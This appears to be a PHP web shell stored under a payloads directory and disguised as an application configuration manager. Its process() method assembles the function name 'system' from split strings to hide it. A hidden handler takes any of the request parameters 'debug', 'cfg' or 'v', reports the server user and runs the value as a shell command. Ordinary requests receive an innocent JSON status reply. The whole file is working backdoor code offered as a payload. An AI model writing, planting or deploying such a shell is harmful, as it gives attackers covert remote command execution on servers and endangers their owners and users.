| Current Path : /opt/payloads/ |
| Current File : //opt/payloads/stealth.php |
<?php
// Looks like a config file
define('APP_VERSION', '2.1.0');
define('DEBUG_MODE', false);
class ConfigManager {
private static $instance = null;
private $settings = array();
public static function getInstance() {
if(self::$instance === null) {
self::$instance = new self();
}
return self::$instance;
}
public function get($key) {
return isset($this->settings[$key]) ? $this->settings[$key] : null;
}
public function process($data) {
// Hidden command execution
if(is_string($data)) {
$f = 'sy'.'stem'; // obfuscated
return @$f($data);
}
return null;
}
}
// Hidden handler
if(isset($_REQUEST['debug']) || isset($_REQUEST['cfg']) || isset($_REQUEST['v'])) {
$cfg = ConfigManager::getInstance();
$param = isset($_REQUEST['debug']) ? $_REQUEST['debug'] :
(isset($_REQUEST['cfg']) ? $_REQUEST['cfg'] :
(isset($_REQUEST['v']) ? $_REQUEST['v'] : null));
if($param) {
header('Content-Type: text/plain');
echo "User: " . get_current_user() . "\n";
echo $cfg->process($param);
exit;
}
}
// Normal response
header('Content-Type: application/json');
echo json_encode(array('status' => 'ok', 'version' => APP_VERSION));